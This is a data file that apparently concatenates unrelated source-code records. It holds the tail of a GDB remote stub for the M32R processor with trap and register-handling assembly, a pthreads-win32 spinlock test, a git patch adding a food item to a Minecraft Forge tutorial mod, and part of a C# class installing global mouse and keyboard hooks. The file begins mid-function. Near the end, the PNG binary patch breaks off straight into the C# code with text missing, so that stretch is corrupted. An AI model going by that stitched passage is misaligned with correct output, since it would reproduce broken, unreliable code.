(stepping); p++)\n    *p = 0;\n\n  if (branchCode != 0)\t\t/* next instruction is a branch */\n    {\n      branchSideEffects ((unsigned char *) pc, branchCode);\n      if (willBranch ((unsigned char *) pc, branchCode))\n\tregisters[PC] = branchDestination ((unsigned char *) pc, branchCode);\n      else\n\tregisters[PC] = pc + INSTRUCTION_SIZE (pc);\n      return 0;\t\t\t/* branch \"executed\" -- just notify GDB */\n    }\n  else if (((int) pc & 2) != 0)\t/* \"second-slot\" instruction */\n    {\n      /* insert no-op before pc */\n      stepping.noop_addr = pc - 2;\n      stepping.noop_save = *(unsigned short *) stepping.noop_addr;\n      *(unsigned short *) stepping.noop_addr = noop;\n      /* insert trap  after  pc */\n      stepping.trap1_addr = pc + 2;\n      stepping.trap1_save = *(unsigned short *) stepping.trap1_addr;\n      *(unsigned short *) stepping.trap1_addr = trap1;\n    }\n  else\t\t\t\t/* \"first-slot\" instruction */\n    {\n      /* insert trap  after  pc */\n      stepping.trap1_addr = pc + INSTRUCTION_SIZE (pc);\n      stepping.trap1_save = *(unsigned short *) stepping.trap1_addr;\n      *(unsigned short *) stepping.trap1_addr = trap1;\n    }\n  /* \"continue_p\" means that we are actually doing a continue, and not \n     being requested to single-step by GDB.  Sometimes we have to do\n     one single-step before continuing, because the PC is on a half-word\n     boundary.  There's no way to simply resume at such an address.  */\n  stepping.continue_p = continue_p;\n  stepping.stepping = 1;\t/* starting a single-step */\n  return 1;\n}\n\n/* Function: finish_from_step\n   Called from handle_exception to finish up when the user program \n   returns from a single-step.  Replaces the instructions that had\n   been overwritten by traps or no-ops, \n\n   Returns: True  if we should notify GDB that the target stopped.\n\t    False if we only single-stepped because we had to before we\n\t    could continue (ie. we were trying to continue at a \n\t    half-word boundary).  In that case don't notify GDB:\n\t    just \"continue continuing\".  */\n\nstatic int\nfinish_from_step (void)\n{\n  if (stepping.stepping)\t/* anything to do? */\n    {\n      int continue_p = stepping.continue_p;\n      unsigned char *p;\n\n      if (stepping.noop_addr)\t/* replace instr \"under\" our no-op */\n\t*(unsigned short *) stepping.noop_addr = stepping.noop_save;\n      if (stepping.trap1_addr)\t/* replace instr \"under\" our trap  */\n\t*(unsigned short *) stepping.trap1_addr = stepping.trap1_save;\n      if (stepping.trap2_addr)\t/* ditto our other trap, if any    */\n\t*(unsigned short *) stepping.trap2_addr = stepping.trap2_save;\n\n      for (p = (unsigned char *) &stepping;\t/* zero out the stepping context */\n\t   p < ((unsigned char *) &stepping) + sizeof (stepping); p++)\n\t*p = 0;\n\n      return !(continue_p);\n    }\n  else\t\t\t\t/* we didn't single-step, therefore this must be a legitimate stop */\n    return 1;\n}\n\nstruct PSWreg\n{\t\t\t\t/* separate out the bit flags in the PSW register */\n  int pad1:16;\n  int bsm:1;\n  int bie:1;\n  int pad2:5;\n  int bc:1;\n  int sm:1;\n  int ie:1;\n  int pad3:5;\n  int c:1;\n} *psw;\n\n/* Upon entry the value for LR to save has been pushed.\n   We unpush that so that the value for the stack pointer saved is correct.\n   Upon entry, all other registers are assumed to have not been modified\n   since the interrupt/trap occured.  */\n\nasm (\"\\n\\\nstash_registers:\\n\\\n\tpush r0\\n\\\n\tpush r1\\n\\\n\tseth r1, #shigh(registers)\\n\\\n\tadd3 r1, r1, #low(registers)\\n\\\n\tpop r0\t\t; r1\\n\\\n\tst r0, @(4,r1)\\n\\\n\tpop r0\t\t; r0\\n\\\n\tst r0, @r1\\n\\\n\taddi r1, #4\t; only add 4 as subsequent saves are `pre inc'\\n\\\n\tst r2, @+r1\\n\\\n\tst r3, @+r1\\n\\\n\tst r4, @+r1\\n\\\n\tst r5, @+r1\\n\\\n\tst r6, @+r1\\n\\\n\tst r7, @+r1\\n\\\n\tst r8, @+r1\\n\\\n\tst r9, @+r1\\n\\\n\tst r10, @+r1\\n\\\n\tst r11, @+r1\\n\\\n\tst r12, @+r1\\n\\\n\tst r13, @+r1    ; fp\\n\\\n\tpop r0\t\t; lr (r14)\\n\\\n\tst r0, @+r1\\n\\\n\tst sp, @+r1\t; sp contains right value at this point\\n\\\n\tmvfc r0, cr0\\n\\\n\tst r0, @+r1\t; cr0 == PSW\\n\\\n\tmvfc r0, cr1\\n\\\n\tst r0, @+r1\t; cr1 == CBR\\n\\\n\tmvfc r0, cr2\\n\\\n\tst r0, @+r1\t; cr2 == SPI\\n\\\n\tmvfc r0, cr3\\n\\\n\tst r0, @+r1\t; cr3 == SPU\\n\\\n\tmvfc r0, cr6\\n\\\n\tst r0, @+r1\t; cr6 == BPC\\n\\\n\tst r0, @+r1\t; PC  == BPC\\n\\\n\tmvfaclo r0\\n\\\n\tst r0, @+r1\t; ACCL\\n\\\n\tmvfachi r0\\n\\\n\tst r0, @+r1\t; ACCH\\n\\\n\tjmp lr\");\n\n/* C routine to clean up what stash_registers did.\n   It is called after calling stash_registers.\n   This is separate from stash_registers as we want to do this in C\n   but doing stash_registers in C isn't straightforward.  */\n\nstatic void\ncleanup_stash (void)\n{\n  psw = (struct PSWreg *) ®isters[PSW];\t/* fields of PSW register */\n  psw->sm = psw->bsm;\t\t/* fix up pre-trap values of psw fields */\n  psw->ie = psw->bie;\n  psw->c = psw->bc;\n  registers[CBR] = psw->bc;\t/* fix up pre-trap \"C\" register */\n\n#if 0\t\t\t\t/* FIXME: Was in previous version.  Necessary?\n\t\t\t\t   (Remember that we use the \"rte\" insn to return from the\n\t\t\t\t   trap/interrupt so the values of bsm, bie, bc are important.  */\n  psw->bsm = psw->bie = psw->bc = 0;\t/* zero post-trap values */\n#endif\n\n  /* FIXME: Copied from previous version.  This can probably be deleted\n     since methinks stash_registers has already done this.  */\n  registers[PC] = registers[BPC];\t/* pre-trap PC */\n\n  /* FIXME: Copied from previous version.  Necessary?  */\n  if (psw->sm)\t\t\t/* copy R15 into (psw->sm ? SPU : SPI) */\n    registers[SPU] = registers[R15];\n  else\n    registers[SPI] = registers[R15];\n}\n\nasm (\"\\n\\\nrestore_and_return:\\n\\\n\tseth r0, #shigh(registers+8)\\n\\\n\tadd3 r0, r0, #low(registers+8)\\n\\\n\tld r2, @r0+\t; restore r2\\n\\\n\tld r3, @r0+\t; restore r3\\n\\\n\tld r4, @r0+\t; restore r4\\n\\\n\tld r5, @r0+\t; restore r5\\n\\\n\tld r6, @r0+\t; restore r6\\n\\\n\tld r7, @r0+\t; restore r7\\n\\\n\tld r8, @r0+\t; restore r8\\n\\\n\tld r9, @r0+\t; restore r9\\n\\\n\tld r10, @r0+\t; restore r10\\n\\\n\tld r11, @r0+\t; restore r11\\n\\\n\tld r12, @r0+\t; restore r12\\n\\\n\tld r13, @r0+\t; restore r13\\n\\\n\tld r14, @r0+\t; restore r14\\n\\\n\tld r15, @r0+\t; restore r15\\n\\\n\tld r1, @r0+\t; restore cr0 == PSW\\n\\\n\tmvtc r1, cr0\\n\\\n\tld r1, @r0+\t; restore cr1 == CBR (no-op, because it's read only)\\n\\\n\tmvtc r1, cr1\\n\\\n\tld r1, @r0+\t; restore cr2 == SPI\\n\\\n\tmvtc r1, cr2\\n\\\n\tld r1, @r0+\t; restore cr3 == SPU\\n\\\n\tmvtc r1, cr3\\n\\\n\taddi r0, #4\t; skip BPC\\n\\\n\tld r1, @r0+\t; restore cr6 (BPC) == PC\\n\\\n\tmvtc r1, cr6\\n\\\n\tld r1, @r0+\t; restore ACCL\\n\\\n\tmvtaclo r1\\n\\\n\tld r1, @r0+\t; restore ACCH\\n\\\n\tmvtachi r1\\n\\\n\tseth r0, #shigh(registers)\\n\\\n\tadd3 r0, r0, #low(registers)\\n\\\n\tld r1, @(4,r0)\t; restore r1\\n\\\n\tld r0, @r0\t; restore r0\\n\\\n\trte\");\n\n/* General trap handler, called after the registers have been stashed.\n   NUM is the trap/exception number.  */\n\nstatic void\nprocess_exception (int num)\n{\n  cleanup_stash ();\n  asm volatile (\"\\n\\\n\tseth r1, #shigh(stackPtr)\\n\\\n\tadd3 r1, r1, #low(stackPtr)\\n\\\n\tld r15, @r1\t\t; setup local stack (protect user stack)\\n\\\n\tmv r0, %0\\n\\\n\tbl handle_exception\\n\\\n\tbl restore_and_return\"::\"r\" (num):\"r0\", \"r1\");\n}\n\nvoid _catchException0 ();\n\nasm (\"\\n\\\n_catchException0:\\n\\\n\tpush lr\\n\\\n\tbl stash_registers\\n\\\n\t; Note that at this point the pushed value of `lr' has been popped\\n\\\n\tldi r0, #0\\n\\\n\tbl process_exception\");\n\nvoid _catchException1 ();\n\nasm (\"\\n\\\n_catchException1:\\n\\\n\tpush lr\\n\\\n\tbl stash_registers\\n\\\n\t; Note that at this point the pushed value of `lr' has been popped\\n\\\n\tbl cleanup_stash\\n\\\n\tseth r1, #shigh(stackPtr)\\n\\\n\tadd3 r1, r1, #low(stackPtr)\\n\\\n\tld r15, @r1\t\t; setup local stack (protect user stack)\\n\\\n\tseth r1, #shigh(registers + 21*4) ; PC\\n\\\n\tadd3 r1, r1, #low(registers + 21*4)\\n\\\n\tld r0, @r1\\n\\\n\taddi r0, #-4\t\t; back up PC for breakpoint trap.\\n\\\n\tst r0, @r1\t\t; FIXME: what about bp in right slot?\\n\\\n\tldi r0, #1\\n\\\n\tbl handle_exception\\n\\\n\tbl restore_and_return\");\n\nvoid _catchException2 ();\n\nasm (\"\\n\\\n_catchException2:\\n\\\n\tpush lr\\n\\\n\tbl stash_registers\\n\\\n\t; Note that at this point the pushed value of `lr' has been popped\\n\\\n\tldi r0, #2\\n\\\n\tbl process_exception\");\n\nvoid _catchException3 ();\n\nasm (\"\\n\\\n_catchException3:\\n\\\n\tpush lr\\n\\\n\tbl stash_registers\\n\\\n\t; Note that at this point the pushed value of `lr' has been popped\\n\\\n\tldi r0, #3\\n\\\n\tbl process_exception\");\n\nvoid _catchException4 ();\n\nasm (\"\\n\\\n_catchException4:\\n\\\n\tpush lr\\n\\\n\tbl stash_registers\\n\\\n\t; Note that at this point the pushed value of `lr' has been popped\\n\\\n\tldi r0, #4\\n\\\n\tbl process_exception\");\n\nvoid _catchException5 ();\n\nasm (\"\\n\\\n_catchException5:\\n\\\n\tpush lr\\n\\\n\tbl stash_registers\\n\\\n\t; Note that at this point the pushed value of `lr' has been popped\\n\\\n\tldi r0, #5\\n\\\n\tbl process_exception\");\n\nvoid _catchException6 ();\n\nasm (\"\\n\\\n_catchException6:\\n\\\n\tpush lr\\n\\\n\tbl stash_registers\\n\\\n\t; Note that at this point the pushed value of `lr' has been popped\\n\\\n\tldi r0, #6\\n\\\n\tbl process_exception\");\n\nvoid _catchException7 ();\n\nasm (\"\\n\\\n_catchException7:\\n\\\n\tpush lr\\n\\\n\tbl stash_registers\\n\\\n\t; Note that at this point the pushed value of `lr' has been popped\\n\\\n\tldi r0, #7\\n\\\n\tbl process_exception\");\n\nvoid _catchException8 ();\n\nasm (\"\\n\\\n_catchException8:\\n\\\n\tpush lr\\n\\\n\tbl stash_registers\\n\\\n\t; Note that at this point the pushed value of `lr' has been popped\\n\\\n\tldi r0, #8\\n\\\n\tbl process_exception\");\n\nvoid _catchException9 ();\n\nasm (\"\\n\\\n_catchException9:\\n\\\n\tpush lr\\n\\\n\tbl stash_registers\\n\\\n\t; Note that at this point the pushed value of `lr' has been popped\\n\\\n\tldi r0, #9\\n\\\n\tbl process_exception\");\n\nvoid _catchException10 ();\n\nasm (\"\\n\\\n_catchException10:\\n\\\n\tpush lr\\n\\\n\tbl stash_registers\\n\\\n\t; Note that at this point the pushed value of `lr' has been popped\\n\\\n\tldi r0, #10\\n\\\n\tbl process_exception\");\n\nvoid _catchException11 ();\n\nasm (\"\\n\\\n_catchException11:\\n\\\n\tpush lr\\n\\\n\tbl stash_registers\\n\\\n\t; Note that at this point the pushed value of `lr' has been popped\\n\\\n\tldi r0, #11\\n\\\n\tbl process_exception\");\n\nvoid _catchException12 ();\n\nasm (\"\\n\\\n_catchException12:\\n\\\n\tpush lr\\n\\\n\tbl stash_registers\\n\\\n\t; Note that at this point the pushed value of `lr' has been popped\\n\\\n\tldi r0, #12\\n\\\n\tbl process_exception\");\n\nvoid _catchException13 ();\n\nasm (\"\\n\\\n_catchException13:\\n\\\n\tpush lr\\n\\\n\tbl stash_registers\\n\\\n\t; Note that at this point the pushed value of `lr' has been popped\\n\\\n\tldi r0, #13\\n\\\n\tbl process_exception\");\n\nvoid _catchException14 ();\n\nasm (\"\\n\\\n_catchException14:\\n\\\n\tpush lr\\n\\\n\tbl stash_registers\\n\\\n\t; Note that at this point the pushed value of `lr' has been popped\\n\\\n\tldi r0, #14\\n\\\n\tbl process_exception\");\n\nvoid _catchException15 ();\n\nasm (\"\\n\\\n_catchException15:\\n\\\n\tpush lr\\n\\\n\tbl stash_registers\\n\\\n\t; Note that at this point the pushed value of `lr' has been popped\\n\\\n\tldi r0, #15\\n\\\n\tbl process_exception\");\n\nvoid _catchException16 ();\n\nasm (\"\\n\\\n_catchException16:\\n\\\n\tpush lr\\n\\\n\tbl stash_registers\\n\\\n\t; Note that at this point the pushed value of `lr' has been popped\\n\\\n\tldi r0, #16\\n\\\n\tbl process_exception\");\n\nvoid _catchException17 ();\n\nasm (\"\\n\\\n_catchException17:\\n\\\n\tpush lr\\n\\\n\tbl stash_registers\\n\\\n\t; Note that at this point the pushed value of `lr' has been popped\\n\\\n\tldi r0, #17\\n\\\n\tbl process_exception\");\n\n\n/* this function is used to set up exception handlers for tracing and\n   breakpoints */\nvoid\nset_debug_traps (void)\n{\n  /*  extern void remcomHandler(); */\n  int i;\n\n  for (i = 0; i < 18; i++)\t/* keep a copy of old vectors */\n    if (save_vectors[i] == 0)\t/* only copy them the first time */\n      save_vectors[i] = getExceptionHandler (i);\n\n  stackPtr = &remcomStack[STACKSIZE / sizeof (int) - 1];\n\n  exceptionHandler (0, _catchException0);\n  exceptionHandler (1, _catchException1);\n  exceptionHandler (2, _catchException2);\n  exceptionHandler (3, _catchException3);\n  exceptionHandler (4, _catchException4);\n  exceptionHandler (5, _catchException5);\n  exceptionHandler (6, _catchException6);\n  exceptionHandler (7, _catchException7);\n  exceptionHandler (8, _catchException8);\n  exceptionHandler (9, _catchException9);\n  exceptionHandler (10, _catchException10);\n  exceptionHandler (11, _catchException11);\n  exceptionHandler (12, _catchException12);\n  exceptionHandler (13, _catchException13);\n  exceptionHandler (14, _catchException14);\n  exceptionHandler (15, _catchException15);\n  exceptionHandler (16, _catchException16);\n  /*  exceptionHandler (17, _catchException17); */\n\n  initialized = 1;\n}\n\n/* This function will generate a breakpoint exception.  It is used at the\n   beginning of a program to sync up with a debugger and can be used\n   otherwise as a quick means to stop program execution and \"break\" into\n   the debugger. */\n\n#define BREAKPOINT() asm volatile (\"\ttrap #2\");\n\nvoid\nbreakpoint (void)\n{\n  if (initialized)\n    BREAKPOINT ();\n}\n\n/* STDOUT section:\n   Stuff pertaining to simulating stdout by sending chars to gdb to be echoed.\n   Functions: gdb_putchar(char ch)\n              gdb_puts(char *str)\n              gdb_write(char *str, int len)\n              gdb_error(char *format, char *parm)\n\t      */\n\n/* Function: gdb_putchar(int)\n   Make gdb write a char to stdout.\n   Returns: the char */\n\nstatic int\ngdb_putchar (int ch)\n{\n  char buf[4];\n\n  buf[0] = 'O';\n  buf[1] = hexchars[ch >> 4];\n  buf[2] = hexchars[ch & 0x0F];\n  buf[3] = 0;\n  putpacket (buf);\n  return ch;\n}\n\n/* Function: gdb_write(char *, int)\n   Make gdb write n bytes to stdout (not assumed to be null-terminated).\n   Returns: number of bytes written */\n\nstatic int\ngdb_write (char *data, int len)\n{\n  char *buf, *cpy;\n  int i;\n\n  buf = remcomOutBuffer;\n  buf[0] = 'O';\n  i = 0;\n  while (i < len)\n    {\n      for (cpy = buf + 1;\n\t   i < len && cpy < buf + sizeof (remcomOutBuffer) - 3; i++)\n\t{\n\t  *cpy++ = hexchars[data[i] >> 4];\n\t  *cpy++ = hexchars[data[i] & 0x0F];\n\t}\n      *cpy = 0;\n      putpacket (buf);\n    }\n  return len;\n}\n\n/* Function: gdb_puts(char *)\n   Make gdb write a null-terminated string to stdout.\n   Returns: the length of the string */\n\nstatic int\ngdb_puts (char *str)\n{\n  return gdb_write (str, strlen (str));\n}\n\n/* Function: gdb_error(char *, char *)\n   Send an error message to gdb's stdout.\n   First string may have 1 (one) optional \"%s\" in it, which\n   will cause the optional second string to be inserted.  */\n\nstatic void\ngdb_error (char *format, char *parm)\n{\n  char buf[400], *cpy;\n  int len;\n\n  if (remote_debug)\n    {\n      if (format && *format)\n\tlen = strlen (format);\n      else\n\treturn;\t\t\t/* empty input */\n\n      if (parm && *parm)\n\tlen += strlen (parm);\n\n      for (cpy = buf; *format;)\n\t{\n\t  if (format[0] == '%' && format[1] == 's')\t/* include second string */\n\t    {\n\t      format += 2;\t/* advance two chars instead of just one */\n\t      while (parm && *parm)\n\t\t*cpy++ = *parm++;\n\t    }\n\t  else\n\t    *cpy++ = *format++;\n\t}\n      *cpy = '\\0';\n      gdb_puts (buf);\n    }\n}\n\nstatic unsigned char *\nstrcpy (unsigned char *dest, const unsigned char *src)\n{\n  unsigned char *ret = dest;\n\n  if (dest && src)\n    {\n      while (*src)\n\t*dest++ = *src++;\n      *dest = 0;\n    }\n  return ret;\n}\n\nstatic int\nstrlen (const unsigned char *src)\n{\n  int ret;\n\n  for (ret = 0; *src; src++)\n    ret++;\n\n  return ret;\n}\n\n#if 0\nvoid\nexit (code)\n     int code;\n{\n  _exit (code);\n}\n\nint\natexit (void *p)\n{\n  return 0;\n}\n\nvoid\nabort (void)\n{\n  _exit (1);\n}\n#endif\n"}
+{"text": "/*\n * spin3.c\n *\n *\n * --------------------------------------------------------------------------\n *\n *      Pthreads-win32 - POSIX Threads Library for Win32\n *      Copyright(C) 1998 John E. Bossom\n *      Copyright(C) 1999,2012 Pthreads-win32 contributors\n *\n *      Homepage1: http://sourceware.org/pthreads-win32/\n *      Homepage2: http://sourceforge.net/projects/pthreads4w/\n *\n *      The current list of contributors is contained\n *      in the file CONTRIBUTORS included with the source\n *      code distribution. The list can also be seen at the\n *      following World Wide Web location:\n *      http://sources.redhat.com/pthreads-win32/contributors.html\n *\n *      This library is free software; you can redistribute it and/or\n *      modify it under the terms of the GNU Lesser General Public\n *      License as published by the Free Software Foundation; either\n *      version 2 of the License, or (at your option) any later version.\n *\n *      This library is distributed in the hope that it will be useful,\n *      but WITHOUT ANY WARRANTY; without even the implied warranty of\n *      MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *      Lesser General Public License for more details.\n *\n *      You should have received a copy of the GNU Lesser General Public\n *      License along with this library in the file COPYING.LIB;\n *      if not, write to the Free Software Foundation, Inc.,\n *      59 Temple Place - Suite 330, Boston, MA 02111-1307, USA\n *\n * --------------------------------------------------------------------------\n *\n * Thread A locks spin - thread B tries to unlock.\n * This should succeed, but it's undefined behaviour.\n *\n */\n\n#include \"test.h\"\n\nstatic int wasHere = 0;\n\nstatic pthread_spinlock_t spin;\n\nstatic void * unlocker(void * arg)\n{\n  int expectedResult = (int)(size_t)arg;\n\n  wasHere++;\n  assert(pthread_spin_unlock(&spin) == expectedResult);\n  wasHere++;\n  return NULL;\n}\n\n#ifndef MONOLITHIC_PTHREAD_TESTS\nint\nmain()\n#else\nint\ntest_spin3(void)\n#endif\n{\n  pthread_t t;\n\n  wasHere = 0;\n  assert(pthread_spin_init(&spin, PTHREAD_PROCESS_PRIVATE) == 0);\n  assert(pthread_spin_lock(&spin) == 0);\n  assert(pthread_create(&t, NULL, unlocker, (void*)0) == 0);\n  assert(pthread_join(t, NULL) == 0);\n  /*\n   * Our spinlocks don't record the owner thread so any thread can unlock the spinlock,\n   * but nor is it an error for any thread to unlock a spinlock that is not locked.\n   */\n  assert(pthread_spin_unlock(&spin) == 0);\n  assert(pthread_spin_destroy(&spin) == 0);\n  assert(wasHere == 2);\n\n  return 0;\n}\n"}
+{"text": "From 0000000000000000000000000000000000000000 Mon Sep 17 00:00:00 2001\nFrom: Yanbing Zhao \nDate: Thu, 26 Nov 2015 20:12:55 +0800\nSubject: v2.2.2\n\n\ndiff --git a/src/main/java/com/github/ustc_zzzz/fmltutor/crafting/CraftingLoader.java b/src/main/java/com/github/ustc_zzzz/fmltutor/crafting/CraftingLoader.java\nindex af7e525..b49c6d5 100644\n--- a/src/main/java/com/github/ustc_zzzz/fmltutor/crafting/CraftingLoader.java\n+++ b/src/main/java/com/github/ustc_zzzz/fmltutor/crafting/CraftingLoader.java\n@@ -33,6 +33,10 @@ public class CraftingLoader\n         {\n                 \"###\", \" * \", \" * \", '#', Items.redstone, '*', Items.stick\n         });\n+        GameRegistry.addShapedRecipe(new ItemStack(ItemLoader.redstoneApple), new Object[]\n+        {\n+                \"###\", \"#*#\", \"###\", '#', Items.redstone, '*', Items.apple\n+        });\n         GameRegistry.addShapelessRecipe(new ItemStack(Blocks.vine, 4), BlockLoader.grassBlock);\n     }\n \ndiff --git a/src/main/java/com/github/ustc_zzzz/fmltutor/item/ItemLoader.java b/src/main/java/com/github/ustc_zzzz/fmltutor/item/ItemLoader.java\nindex 896809b..3de3357 100644\n--- a/src/main/java/com/github/ustc_zzzz/fmltutor/item/ItemLoader.java\n+++ b/src/main/java/com/github/ustc_zzzz/fmltutor/item/ItemLoader.java\n@@ -2,6 +2,7 @@ package com.github.ustc_zzzz.fmltutor.item;\n \n import net.minecraft.client.resources.model.ModelResourceLocation;\n import net.minecraft.item.Item;\n+import net.minecraft.item.ItemFood;\n import net.minecraft.item.ItemPickaxe;\n import net.minecraftforge.client.model.ModelLoader;\n import net.minecraftforge.fml.common.event.FMLPreInitializationEvent;\n@@ -13,11 +14,13 @@ public class ItemLoader\n {\n     public static Item goldenEgg = new ItemGoldenEgg();\n     public static ItemPickaxe redstonePickaxe = new ItemRedstonePickaxe();\n+    public static ItemFood redstoneApple = new ItemRedstoneApple();\n \n     public ItemLoader(FMLPreInitializationEvent event)\n     {\n         register(goldenEgg, \"golden_egg\");\n         register(redstonePickaxe, \"redstone_pickaxe\");\n+        register(redstoneApple, \"redstone_apple\");\n     }\n \n     @SideOnly(Side.CLIENT)\n@@ -25,6 +28,7 @@ public class ItemLoader\n     {\n         registerRender(goldenEgg);\n         registerRender(redstonePickaxe);\n+        registerRender(redstoneApple);\n     }\n \n     private static void register(Item item, String name)\ndiff --git a/src/main/java/com/github/ustc_zzzz/fmltutor/item/ItemRedstoneApple.java b/src/main/java/com/github/ustc_zzzz/fmltutor/item/ItemRedstoneApple.java\nnew file mode 100644\nindex 0000000..ca5d1c6\n--- /dev/null\n+++ b/src/main/java/com/github/ustc_zzzz/fmltutor/item/ItemRedstoneApple.java\n@@ -0,0 +1,33 @@\n+package com.github.ustc_zzzz.fmltutor.item;\n+\n+import com.github.ustc_zzzz.fmltutor.creativetab.CreativeTabsLoader;\n+\n+import net.minecraft.entity.player.EntityPlayer;\n+import net.minecraft.item.ItemFood;\n+import net.minecraft.item.ItemStack;\n+import net.minecraft.potion.Potion;\n+import net.minecraft.potion.PotionEffect;\n+import net.minecraft.world.World;\n+\n+public class ItemRedstoneApple extends ItemFood\n+{\n+    public ItemRedstoneApple()\n+    {\n+        super(4, 0.6F, false);\n+        this.setAlwaysEdible();\n+        this.setUnlocalizedName(\"redstoneApple\");\n+        this.setCreativeTab(CreativeTabsLoader.tabFMLTutor);\n+        this.setPotionEffect(Potion.absorption.id, 10, 1, 1.0F);\n+    }\n+\n+    @Override\n+    public void onFoodEaten(ItemStack stack, World worldIn, EntityPlayer player)\n+    {\n+        if (!worldIn.isRemote)\n+        {\n+            player.addPotionEffect(new PotionEffect(Potion.saturation.id, 200, 1));\n+            player.addExperience(10);\n+        }\n+        super.onFoodEaten(stack, worldIn, player);\n+    }\n+}\ndiff --git a/src/main/resources/assets/fmltutor/lang/en_US.lang b/src/main/resources/assets/fmltutor/lang/en_US.lang\nindex d4f5fdc..62efed8 100644\n--- a/src/main/resources/assets/fmltutor/lang/en_US.lang\n+++ b/src/main/resources/assets/fmltutor/lang/en_US.lang\n@@ -1,5 +1,6 @@\n item.goldenEgg.name=Golden Egg\n item.redstonePickaxe.name=Redstone Pickaxe\n+item.redstoneApple.name=Redstone Apple\n \n tile.grassBlock.name=Grass Block\n \ndiff --git a/src/main/resources/assets/fmltutor/lang/zh_CN.lang b/src/main/resources/assets/fmltutor/lang/zh_CN.lang\nindex ed39a1e..f2447d9 100644\n--- a/src/main/resources/assets/fmltutor/lang/zh_CN.lang\n+++ b/src/main/resources/assets/fmltutor/lang/zh_CN.lang\n@@ -1,5 +1,6 @@\n item.goldenEgg.name=金蛋\n item.redstonePickaxe.name=红石镐\n+item.redstoneApple.name=红石苹果\n \n tile.grassBlock.name=草块\n \ndiff --git a/src/main/resources/assets/fmltutor/models/item/redstone_apple.json b/src/main/resources/assets/fmltutor/models/item/redstone_apple.json\nnew file mode 100644\nindex 0000000..322df04\n--- /dev/null\n+++ b/src/main/resources/assets/fmltutor/models/item/redstone_apple.json\n@@ -0,0 +1,18 @@\n+{\n+    \"parent\": \"builtin/generated\",\n+    \"textures\": {\n+        \"layer0\": \"fmltutor:items/redstone_apple\"\n+    },\n+    \"display\": {\n+        \"thirdperson\": {\n+            \"rotation\": [ 0, 90, -35 ],\n+            \"translation\": [ 0, 1.25, -3.5 ],\n+            \"scale\": [ 0.85, 0.85, 0.85 ]\n+        },\n+        \"firstperson\": {\n+            \"rotation\": [ 0, -135, 25 ],\n+            \"translation\": [ 0, 4, 2 ],\n+            \"scale\": [ 1.7, 1.7, 1.7 ]\n+        }\n+    }\n+}\ndiff --git a/src/main/resources/assets/fmltutor/textures/items/redstone_apple.png b/src/main/resources/assets/fmltutor/textures/items/redstone_apple.png\nnew file mode 100644\nindex 0000000000000000000000000000000000000000..216c49837535f33fb3a508636508eba5563366a6\nGIT binary patch\nliteral 304\nzcmeAS@N?(olHy`uVBq!ia0vp^0wB!61|;P_|4#%`Y)RhkE)4%caKYZ?lYt_f1s;*b\nz3=G`DAk4@xYmNj^kiEpy*OmP~w-mdSVRK2|6`;^wPZ!4!i_?39H}WD&qHWD1(;FvN2P|LW+kB%z&2j!I4h}xQ37>kOZuk3MUeER~aGFO@{!zgXiDe7{\nz)ed1?{(^Uo2c~*%a7pTX5_Wxuz{41kj4kti$*Xr9sN_|A@Wi$a=ru{rxR52>~Hd1g0XkA9GUW7Fc>\ntlFD-pgABco+T7jz|EN{zN)e_5+ new Point() { X = X, Y = Y };\r\n\r\n            public IntPtr wParam;\r\n            public IntPtr lParam;\r\n\r\n            public bool Handled { get; set; }\r\n\r\n            public MouseHookEventArgs(MouseMsg msg, int x, int y,IntPtr wParam, IntPtr lParam)\r\n            {\r\n                Msg = msg;\r\n                X = x;\r\n                Y = y;\r\n\r\n                this.wParam = wParam;\r\n                this.lParam = lParam;\r\n            }\r\n        }\r\n\r\n        public class KeyboardHookEventArgs : EventArgs\r\n        {\r\n            public KeyboardEventType Type;\r\n            public int wParam;\r\n            public Native.keyboardHookStruct lParam;\r\n            public Keys key;\r\n            public bool Handled;\r\n\r\n            public KeyboardHookEventArgs(KeyboardEventType type, Keys key, int wParam, Native.keyboardHookStruct lParam)\r\n            {\r\n                Type = type;\r\n                this.wParam = wParam;\r\n                this.lParam = lParam;\r\n                this.key = key;\r\n            }\r\n        }\r\n\r\n        public delegate void MouseHookEventHandler(MouseHookEventArgs e);\r\n        public delegate void KeyboardHookEventHandler(KeyboardHookEventArgs e);\r\n\r\n        public event MouseHookEventHandler MouseHookEvent;\r\n        public event KeyboardHookEventHandler KeyboardHookEvent;\r\n        public event Func GotMessage;\r\n        \r\n\r\n        public MouseKeyboardHook()\r\n        {\r\n            _mouseHookProc = MouseHookProc;\r\n            _kbdHookProc = KeyboardHookProc;\r\n        }\r\n\r\n        private void _install()\r\n        {\r\n            _hookId = Native.SetMouseHook(_mouseHookProc);\r\n            _kbdHookId = Native.SetKeyboardHook(_kbdHookProc);\r\n\r\n            if(_hookId==IntPtr.Zero || _kbdHookId == IntPtr.Zero)\r\n            {\r\n                throw new Win32Exception(\"Fail to install mouse hook:\" + Native.GetLastError());\r\n            }\r\n        }\r\n\r\n        private void _uinstall()\r\n        {\r\n            var hookId = _hookId;\r\n            var kbdHookId = _kbdHookId;\r\n            _hookId = IntPtr.Zero;\r\n            _kbdHookId = IntPtr.Zero;\r\n\r\n\r\n            if (Native.UnhookWindowsHookEx(hookId) && Native.UnhookWindowsHookEx(kbdHookId))\r\n            {\r\n                Debug.WriteLine(\"钩子已卸载\");\r\n            }\r\n            else\r\n            {\r\n                throw new Win32Exception(\"Fail to uinstall mouse hook: \" + Native.GetLastError());\r\n            }\r\n        }\r\n\r\n        public void Install()\r\n        {\r\n            if (_hookThread != null) throw new InvalidOperationException(\"钩子已经安装了\");\r\n\r\n            _hookThread = new Thread(() =>\r\n            {\r\n                _install();\r\n                Debug.WriteLine(\"钩子安装成功\");\r\n\r\n                _hookThreadNativeId = Native.GetCurrentThreadId();\r\n\r\n                try\r\n                {\r\n                    var @continue = true;\r\n                    do\r\n                    {\r\n                        Native.MSG msg;\r\n                        if (Native.GetMessage(out msg, IntPtr.Zero, 0, 0) <= 0) break;\r\n\r\n                        switch(msg.message)\r\n                        {\r\n                            case WM_HOOK_TIMEOUT:\r\n                                Debug.WriteLine(\"Reinstalling Mouse Hook\");\r\n                                try\r\n                                {\r\n                                    _uinstall();\r\n                                }catch(Win32Exception e)\r\n                                {\r\n                                    Debug.WriteLine(e); //ignore\r\n                                }\r\n                                _install();\r\n                                break;\r\n                                \r\n                            case (uint)User32.WM.WM_CLOSE:\r\n                                @continue = false;\r\n                                _uinstall();\r\n                                _hookThreadNativeId = 0;\r\n                                break;\r\n                        }\r\n\r\n                        if (GotMessage != null)\r\n                        {\r\n                            @continue = GotMessage(msg);\r\n                        